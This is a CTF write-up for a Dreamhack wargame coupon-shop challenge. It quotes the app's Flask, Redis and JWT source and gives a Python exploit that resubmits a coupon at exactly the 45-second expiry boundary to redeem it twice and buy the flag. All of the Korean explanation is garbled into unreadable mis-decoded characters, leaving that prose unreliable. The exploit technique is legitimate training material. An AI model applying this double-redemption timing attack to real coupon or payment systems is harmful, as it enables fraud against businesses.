1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/106
๋๋ฆผ์ด๋ ๋นผ๋นผ๋ก๋ฐ์ด๋ฅผ ๋ง์ ํฐ์ค๋ฆฌ์ ๊ณผ์์ ๋นผ๋นผ๋ก ๊ตฌ๋งค๋ฅผ ์ํ ์ฟ ํฐ์ ๋ฐ์์ต๋๋ค.
ํ์ง๋ง ์ฐ๋ฆฌ์ ๋ชฉ์ ์ FLAG! ๊ทธ๋ฐ๋ฐ ์ด๋ฐ, FLAG๋ ๋๋ฌด ๋น์ธ ์ด ์๊ฐ ์๋ค์...
์ฟ ํฐ์ ์ฌ๋ฌ ๋ฒ ๋ฐ๊ธ๋ฐ๊ณ ์ถ์๋๋ฐ ์ด๊ฒ๋ ๋ถ๊ฐ๋ฅํด์. ๋ด๋ถ์ ๋ง์ ์ํ๋ฉด ์ฌ์ฉ๋ ์ฟ ํฐ์ ๊ฒ์ฌํ๋ ๋ก์ง์ด ์ทจ์ฝํ๋ค๋๋ฐ,
๋๋ฆผ์ด๋ฅผ ๋์ FLAG๋ฅผ ๊ตฌ๋งคํ์ธ์!
2. ํด๊ฒฐ ๊ณผ์
secret.py
from os import urandom
JWT_SECRET = urandom(32)
try:
FLAG = open('flag.txt', 'r').read()
except:
FLAG = 'DH{zzzzzmdfklamsdklfmasdklfmasdklfl}'
app.py
์ธ์ ์ ํจ์ฑ์ ๊ฒ์ฆํ๋ ํจ์
์์ฒญ ํค๋์์ Authorization ๊ฐ์ ๊ฐ์ ธ์ค๊ณ , ์์ผ๋ฉด None์ ๋ฐํํ๋ค.
Authorization ํค๋๊ฐ ์์ผ๋ฉด BadRequest ์์ธ๋ฅผ ๋ฐ์์ํจ๋ค.
์ดํ Redis์์ ์ธ์ ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ ธ์ค๊ณ , ์ ํจ์ฑ์ ๊ฒ์ฌํ๋ค.
def get_session():
def decorator(function):
@wraps(function)
def wrapper(*args, **kwargs):
uuid = request.headers.get('Authorization', None)
if uuid is None:
raise BadRequest("Missing Authorization")
data = r.get(f'SESSION:{uuid}')
if data is None:
raise Unauthorized("Unauthorized")
kwargs['user'] = loads(data)
return function(*args, **kwargs)
return wrapper
return decorator
(์ธ์ ์ ํจ์ฑ ๊ฒ์ฌ ์งํ ์ดํ)
์ ์ ์ ๋(user['money'])์ด ํ๋๊ทธ ๊ฐ๊ฒฉ(FLAG_PRICE)๋ณด๋ค ์ ์์ง ํ์ธํ๋ค.
์ถฉ๋ถํ ๋์ด ์์ผ๋ฉด BadRequest ์์ธ๋ฅผ ๋ฐ์์์ผ ํด๋ผ์ด์ธํธ์๊ฒ 'Not enough money' ๋ฉ์์ง๋ฅผ ๋ด์ 400 Bad Request ์๋ต์ ๋ณด๋ธ๋ค.
ํ๋๊ทธ ๊ฐ๊ฒฉ๊ณผ ๊ฐ๊ฑฐ๋, ๋ ํฌ๋ฉด ์ ์ ์ ๋์์ ํ๋๊ทธ ๊ฐ๊ฒฉ๋งํผ์ ๋บ๋ค.
์ดํ ํ๋๊ทธ ๊ตฌ๋งค๊ฐ ์ฑ๊ณตํ์์ ๋ํ๋ด๋ JSON ์๋ต์ ๋ฐํํ๋ฉฐ, ์ฑ๊ณต ๋ฉ์์ง์ ํ๋๊ทธ๊ฐ ์ถ๋ ฅ๋๋ค.
@app.route('/flag/claim')
@get_session()
def flag_claim(user):
if user['money'] < FLAG_PRICE:
raise BadRequest('Not enough money')
user['money'] -= FLAG_PRICE
return jsonify({'status': 'success', 'message': FLAG})
์ ์ ์ ๋์ ํ์ธํ๋ ๋ก์ง ์ํ (flag_claim()๊ณผ ๋์ผ)
๊ตฌ๋งค์ ์ฑ๊ณตํ๋ฉด, ์์ฒญ์ด ์ฑ๊ณตํ์์ ๋ํ๋ด๋ JSON ์๋ต์ ๋ฐํํ๋ค.
@app.route('/pepero/claim')
@get_session()
def pepero_claim(user):
if user['money'] < PEPERO_PRICE:
raise BadRequest('Not enough money')
user['money'] -= PEPERO_PRICE
return jsonify({'status': 'success', 'message': 'lotteria~~~~!~!~!'})
๋ฌธ์ ์์ ์ทจ์ฝํ๋ค๊ณ ์ ์ํ ์ฟ ํฐ๊ณผ ๊ด๋ จ๋ ์ฝ๋์ด๋ค.
์ฟ ํฐ ์ ์ถ
- ๋จผ์ ์์ฒญ ํค๋์์ coupon๊ฐ์ ํ์ธํ๋ค.
- ํค๋์ ๊ฐ์ด ์กด์ฌํ๋ฉด jwt.decode๋ฅผ ์ฌ์ฉํ์ฌ coupon ๊ฐ์ ๋์ฝ๋ํ๋ค. (HS256 ์ฌ์ฉ- JWT ํ ํฐ ์ํธํ ์๊ณ ๋ฆฌ์ฆ)
- ์ฟ ํฐ ๋ง๋ฃ ์๊ฐ ํ์ธ: ํ์ฌ์ ์๊ฐ์ด ๋ง๋ฃ์๊ฐ๋ณด๋ค ํฐ์ง(Bad Request) ๊ฒ์ฆํ๋ค.
- ๋ ์ดํธ ๋ฆฌ๋ฏธํธ ํ์ธ: ์ฌ์ฉ์๊ฐ ์ผ์ ์๊ฐ ๋ด์ ์ฌ๋ฌ ๋ฒ ์ฟ ํฐ์ ์ ์ถํ๋ ๊ฒ์ ๋ฐฉ์งํ๋ค.
- Redis์ setnx๋ฅผ ์ฌ์ฉํ์ฌ ๋ ์ดํธ ๋ฆฌ๋ฏธํธ ํค๋ฅผ ์ค์ ํ๊ณ , ํค๊ฐ ์ค์ ๋๋ฉด ๋ง๋ฃ ์๊ฐ์ ์ค์ ํ๋ค.
- ํค๊ฐ ์ด๋ฏธ ์กด์ฌํ๋ฉด BadRequest ์์ธ๋ฅผ ๋ฐ์์ํจ๋ค.
- ์ฟ ํฐ ์ค๋ณต ์ ์ถ ํ์ธ : ์ฟ ํฐ์ ์ค๋ณต ์ ์ถ์ ๋ฐฉ์งํ๋ค.
- Redis์ setnx๋ฅผ ์ฌ์ฉํ์ฌ ์ฟ ํฐ ์ฌ์ฉ ์ฌ๋ถ๋ฅผ ํ์ธํ๊ณ , ์ด๋ฏธ ์ฌ์ฉ๋ ์ฟ ํฐ์ด๋ฉด BadRequest ์์ธ๋ฅผ ๋ฐ์์ํจ๋ค.
- ์ฟ ํฐ์ด ์ ํจํ๋ฉด ์ฌ์ฉ์์ uuid์ ์ฟ ํฐ์ user๊ฐ ์ผ์นํ๋์ง ํ์ธํ๋ค.
- ์ฟ ํฐ์ ๋ง๋ฃ ์๊ฐ์ ๋ฐ๋ผ ์ฟ ํฐ ํค์ ๋ง๋ฃ ์๊ฐ์ ์ค์ ํฉ๋๋ค.
- ์ฌ์ฉ์์ ๋์ ์ฟ ํฐ ๊ธ์ก๋งํผ ์ฆ๊ฐ์ํต๋๋ค.
- ์ธ์ ๋ฐ์ดํฐ๋ฅผ ๊ฐฑ์ ํฉ๋๋ค.
- ์ฑ๊ณต์ ์ธ ์๋ต์ ๋ฐํํฉ๋๋ค.
@app.route('/coupon/submit')
@get_session()
def coupon_submit(user):
coupon = request.headers.get('coupon', None)
if coupon is None:
raise BadRequest('Missing Coupon')
try:
coupon = jwt.decode(coupon, JWT_SECRET, algorithms='HS256')
except:
raise BadRequest('Invalid coupon')
if coupon['expiration'] < int(time()):
raise BadRequest('Coupon expired!')
rate_limit_key = f'RATELIMIT:{user["uuid"]}'
if r.setnx(rate_limit_key, 1):
r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA))
else:
raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.")
used_coupon = f'COUPON:{coupon["uuid"]}'
if r.setnx(used_coupon, 1):
# success, we don't need to keep it after expiration time
if user['uuid'] != coupon['user']:
raise Unauthorized('You cannot submit others\' coupon!')
r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
user['money'] += coupon['amount']
r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
return jsonify({'status': 'success'})
else:
# double claim, fail
raise BadRequest('Your coupon is alredy submitted!')
์ฟ ํฐ ์์ฒญ ๋ฐ ๋ฐ๊ธ
- user ๊ฐ์ฒด์์ coupon_claimed ์์ฑ์ ํ์ธ
- ์๋ก์ด ์ฟ ํฐ UUID๋ฅผ ์์ฑ (hex)
- ์ฟ ํฐ ๋ฐ์ดํฐ์ UUID, ์ฌ์ฉ์ UUID, ์ฟ ํฐ ๊ธ์ก(1000), ๋ง๋ฃ ์๊ฐ(ํ์ฌ ์๊ฐ + ์ฟ ํฐ ๋ง๋ฃ ์๊ฐ)์ ํฌํจํ๋ค.
- ์ฌ์ฉ์ ์ ๋ณด ์
๋ฐ์ดํธ
- ์ฌ์ฉ์์ UUID๋ฅผ ์ ์ฅํ๊ณ , coupon_claimed ์์ฑ์ True๋ก ์ค์ ํ์ฌ ์ฌ์ฉ์๊ฐ ์ฟ ํฐ์ ํด๋ ์ํ์์ ํ์
- ์ฟ ํฐ ์ธ์ฝ๋ฉ
- ์ฟ ํฐ ๋ฐ์ดํฐ๋ฅผ JWT๋ฅผ ์ฌ์ฉํ์ฌ ์ธ์ฝ๋ฉํ๋ค.
- ์ธ์ฝ๋ฉ๋ ์ฟ ํฐ์ UTF-8 ๋ฌธ์์ด๋ก ๋์ฝ๋ฉํ์ฌ coupon ๋ณ์์ ์ ์ฅํ๋ค.
- ์ธ์
๋ฐ์ดํฐ ์
๋ฐ์ดํธ
- Redis์์ ์ธ์ ๋ฐ์ดํฐ๋ฅผ ์ ๋ฐ์ดํธํ๋ค.
- ์ธ์ ํค๋ SESSION:{uuid} ํ์์ด๊ณ , ๊ฐฑ์ ๋ ์ฌ์ฉ์ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๋ฉฐ, ๋ง๋ฃ ์๊ฐ์ 10๋ถ์ผ๋ก ์ค์ ํฉ๋๋ค.
@app.route('/coupon/claim')
@get_session()
def coupon_claim(user):
if user['coupon_claimed']:
raise BadRequest('You already claimed the coupon!')
coupon_uuid = uuid4().hex
data = {'uuid': coupon_uuid, 'user': user['uuid'], 'amount': 1000, 'expiration': int(time()) + COUPON_EXPIRATION_DELTA}
uuid = user['uuid']
user['coupon_claimed'] = True
coupon = jwt.encode(data, JWT_SECRET, algorithm='HS256').decode('utf-8')
r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(user))
return jsonify({'coupon': coupon})
- ์๋ก์ด ์ธ์
์ ์์ฑ
- UUID๋ฅผ ์์ฑํ์ฌ ์ธ์ ์ ์๋ณ
- ์ด๊ธฐ ์ธ์ ๋ฐ์ดํฐ๋ฅผ Redis์ ์ ์ฅ
- ์ธ์ ID๋ฅผ ํด๋ผ์ด์ธํธ์ ๋ฐํ
- /me: ํ์ฌ ์ธ์ ์ ์ฌ์ฉ์ ์ ๋ณด๋ฅผ ๋ฐํ
@app.route('/session')
def make_session():
uuid = uuid4().hex
r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(
{'uuid': uuid, 'coupon_claimed': False, 'money': 0}))
return jsonify({'session': uuid})
@app.route('/me')
@get_session()
def me(user):
๋ฌธ์ ํ์ด์ง์ ์ ์ํด๋ณด๋ฉด ์ธ์ ์ ๋ฐ๊ธ๋ฐ๋ ํ์ด์ง๊ฐ ๋์จ๋ค.
์ธ์ ์ ๋ฐ๊ธ๋ฐ์ผ๋ฉด ์ค๋ฅธ์ชฝ ์์ ์ธ์ ํค๊ฐ ํ์๋๊ณ , shop๊ณผ mypage ํ์ด์ง๋ฅผ ์ด์ฉํ ์ ์๋ค.
coupon_claimed๋ false๋ก ๋์ด์๊ณ , money๋ 0, uuid์๋ ํ ํฐ๊ฐ์ด ๋ค์ด์๋ค.
shop ํ์ด์ง์์๋ ๋นผ๋นผ๋ก์ flag๋ฅผ ๊ตฌ๋งคํ ์ ์๋๋ก ๋์ด์๋ค.
mypage์์ ์ฟ ํฐ์ ๋ฐ๊ธ๋ฐ๊ณ ์ ์ถํ ์ ์๋ค.
์ฟ ํฐ์ submitํ๋ ๋์ด 1000ํ์ด๋๊ฐ ์ถ๊ฐ๋์๋ค.
์ธ์ ์์ ๋ํ claimed๋ true๋ก, money๋ 1000์ผ๋ก ๋ฐ๋์๋ค.
ํ์ง๋ง ํด๋น ๊ธ์ก์ผ๋ก๋ ๋นผ๋นผ๋ก์ ํ๋๊ทธ ๋ชจ๋ ๊ตฌ์ ํ์ง ๋ชปํ๋ค.
ํ ๋ฒ ๋ ์ฟ ํฐ์ ์์ฒญํ๊ฒ ๋๋ฉด ์ฟ ํฐ์ ์ค๋ณต ์์ฒญ์ด ํ์ง๋์ด 400 ์๋ต์ ๋ฐ๋๋ค.
๋ฌธ์ ์์๋ ์ฌ์ฉ๋ ์ฟ ํฐ์ ๊ฒ์ฌํ๋ ๋ก์ง์ด ์ทจ์ฝํ๋ค๊ณ ์ ์๋์ด์๋ค.
์ฆ, claim ํ ์ฟ ํฐ์ ์ฌ๋ฌ ๋ฒ submitํ ์ ์๋๋ก ์ต์คํ๋ก์ํ ์ ์์ ๊ฒ ๊ฐ๋ค๊ณ ์๊ฐํ์๋ค.
์ค๋ณต์ผ๋ก submit์ ํด๋ณด๋ 10์ด์ ํ ๋ฒ์ฉ submitํ ์ ์๋ค๋ alert์ฐฝ์ด ๋ฌ๋ค.
๋ฐ๋ผ์ 10์ด๋ฅผ ์ง๋ ๋ค, submit์ ํด๋ณด๋ฉด ์ฟ ํฐ์ด ๋ง๋ฃ๋๋ค.
์ฝ๋๋ฅผ ํ์ธํด๋ณด๋ฉด claimํ ์๊ฐ์์ +45์ด๊ฐ ๋๋ฉด ์ฟ ํฐ์ด ๋ง๋ฃ๋๋ค๋ ๊ฒ์ ์ ์ ์๋ค.
๋ฐ๋ผ์ 10์ด~45์ด ์ฌ์ด์ ์ฟ ํฐ์ ์ฌ์ ์ถํ๊ฒ ํด๋ณด๋ฉด ์ด๋ฏธ ์ ์ถ๋ ์ฟ ํฐ์ด๋ผ๊ณ ๋ฌ๋ค.
used_coupon์ ๊ฐ์ ํ์ธํ์ฌ ์ฟ ํฐ์ด ๋ง๋ฃ๋๊ธฐ ์ , ๋ค์ submit์ด ๋๋ฉด 400์๋ต์ ๋ณด์ฌ์ค๋ค.
์ ๋ฆฌํด๋ณด๋ฉด,
- ์ฟ ํฐ์ ํ ๋ฒ๋ง claim ํ ์ ์๋ค.
- claimํ ์ฟ ํฐ์ 45์ด๊ฐ ์ง๋๋ฉด ๋ง๋ฃ๋๋ค. (submit ๋ถ๊ฐ๋ฅ)
- claimํ ์ฟ ํฐ์ ํ ๋ฒ submitํ๋ฉด used_coupon ํค๊ฐ ์์ฑ๋๋ค.
- used_coupon ํค๊ฐ์ด ์กด์ฌํ๋ ์ฟ ํฐ์ ์ฌ์ฌ์ฉ์ด ๋ถ๊ฐ๋ฅํ๋ค.
- used_coupon ํค๊ฐ ๋ํ ์ต๋ 45์ด ์ดํ ๋ง๋ฃ๋๋ค. (๋ง๋ฃ์๊ฐ - ํ์ฌ ์ง๋ ์๊ฐ)
- used_coupon ํค๊ฐ์ด ์กด์ฌํ๋ฉด coupon์ submitํ ์ ์๋ค.
- submit์ ์ต์ 10์ด์ ๊ฐ๊ฒฉ์ ๋๊ณ ์งํํด์ผ ํ๋ค.
์ด ๋, ๋ง๋ฃ(expiration)์ ๋ํด์ ์ฝ๋๋ฅผ ์ ์ดํด๋ณด๋ฉด, ์ด์ํ ์ ์ด 2๊ฐ์ง๊ฐ ์๋ค.
- ์ฟ ํฐ ๋ง๋ฃ ์ฌ๋ถ๋ฅผ ํ์ธํ๋ if๋ฌธ์ ๋ณด๋ฉด ์ค์ง ํด ๊ฒฝ์ฐ์ ๋ํด์๋ง ๋ง๋ฃ๋ก ์ฒ๋ฆฌํ๊ณ ์๋ค.
- expiration์ ๋ํ ๊ฒ์ฆ์ด ์์ฐจ์ ์ผ๋ก ์งํ์ด ๋๊ณ ์๋ค๋ ๊ฒ์ด๋ค.
์ด๋ ์ค์ํ ๊ฒ์ time()ํจ์๋ ํ์ฌ ์๊ฐ์ ์ด ๋จ์๋ก ๋ฐํํ๊ธฐ ๋๋ฌธ์ ๋ชจ๋ ์๊ฐ์ 45์ด์ 46์ด๋ก ๊ตฌ๋ถํ ๊ฒ์ด๋ค. ๊ทธ๋ ๋ค๋ฉด, ๋ฑ 45์ด์ธ ๊ฒฝ์ฐ์ ๋ง๋ฃ ์ฌ๋ถ๋ฅผ ํ์ธํ๋ if๋ฌธ์ ์ํํ๋ฉด ๋ง๋ฃ ์ฌ๋ถ ํ์ธ if๋ฌธ์ ๋์ด๊ฐ ์ ์์ผ๋ฉฐ, ์ดํ์๋ 45์ด๊ฐ ์์ฃผ ์ฝ๊ฐ ์ง๋ฌ์ผ๋ฏ๋ก used_coupon์ ํค๊ฐ์ ์ฌ๋ผ์ ธ ์ฌ์ฉํ์ง ์์ ์ฟ ํฐ์ด ๋๋ ๊ฒ์ด๋ค.
45์ด๋ณด๋ค ์์ ๋์๋ ๋ค์ if๋ฌธ์ ์คํ์ํค๊ฒ ์ง๋ง, 45์ด์ 46์ด(์ด ๋จ์๋ก ๋น๊ตํ์ ๋ ๋ ํฐ ๊ฐ) ์ฌ์ด์ ์กด์ฌํ๋ ๊ฒฝ์ฐ used_coupon ๊ฐ์ ํ์ธํ ๋์๋ used_coupon๊ฐ์ ๋ง๋ฃ๋์ด ์ฌ์์ฑ๋ ๊ฒ์ด๋ค.
๋ฐ๋ผ์ 45์ด์์ 46์ด๋ก ์์ ํ ๋์ด๊ฐ๋ ๊ทธ ์ฌ์ด์ ์๊ฐ์ ๊ณต๋ตํ๋ฉด ์ฟ ํฐ์ ์ฌ์ฌ์ฉํด๋ณผ ์ ์์ ๊ฒ์ด๋ผ๊ณ ์๊ฐํ์๋ค.
์ต์คํ๋ก์ ์ฝ๋
import requests
import json
import time
# ๋ฌธ์ ํ์ด์ง URL๊ณผ ์ธ์
ID ์ค์
url = "http://host3.dreamhack.games:20597/"
session_id = "902c55c35edb4508b4b2b38f2921a745"
def claim_coupon(session):
headers = {"Authorization": session}
response = requests.get(url + "coupon/claim", headers=headers)
if response.status_code == 200:
coupon = json.loads(response.text)["coupon"]
print("Coupon claimed successfully")
print("Coupon:", coupon)
return coupon
else:
raise Exception("Failed to claim coupon")
def submit_coupon(session, coupon):
headers = {"Authorization": session, "coupon": coupon}
# ์ฒซ ๋ฒ์งธ ์ฟ ํฐ ์ ์ถ
response = requests.get(url + "coupon/submit", headers=headers)
print("First coupon submit response:", response.text)
if response.status_code != 200:
raise Exception("Failed to submit first coupon")
# 45์ด ๋๊ธฐ
print("Waiting for exactly 45 seconds...")
time.sleep(45)
# ๋ ๋ฒ์งธ ์ฟ ํฐ ์ ์ถ
response = requests.get(url + "coupon/submit", headers=headers)
print("Second coupon submit response:", response.text)
if response.status_code != 200:
raise Exception("Failed to submit second coupon")
def claim_flag(session):
headers = {"Authorization": session}
response = requests.get(url + "flag/claim", headers=headers)
print("Flag claim response:", response.text)
if response.status_code != 200:
raise Exception("Failed to claim flag")
return response.text
if __name__ == "__main__":
try:
session = session_id
# ์ฟ ํฐ ํด๋ ์
coupon = claim_coupon(session)
# ์ฟ ํฐ 1์ฐจ ๋ฐ 2์ฐจ ์ ์ถ
submit_coupon(session, coupon)
# ํ๋๊ทธ ๊ตฌ๋งค
flag = claim_flag(session)
print("Flag:", flag)
except Exception as e:
print("An error occurred:", str(e))
ํ๋๊ทธ ํ๋ ์ฑ๊ณต
ํ๋ฆฐ ๋ด์ฉ์ด ์๋ค๋ฉด ๋๊ธ๋ก ์๋ ค์ฃผ์ธ์!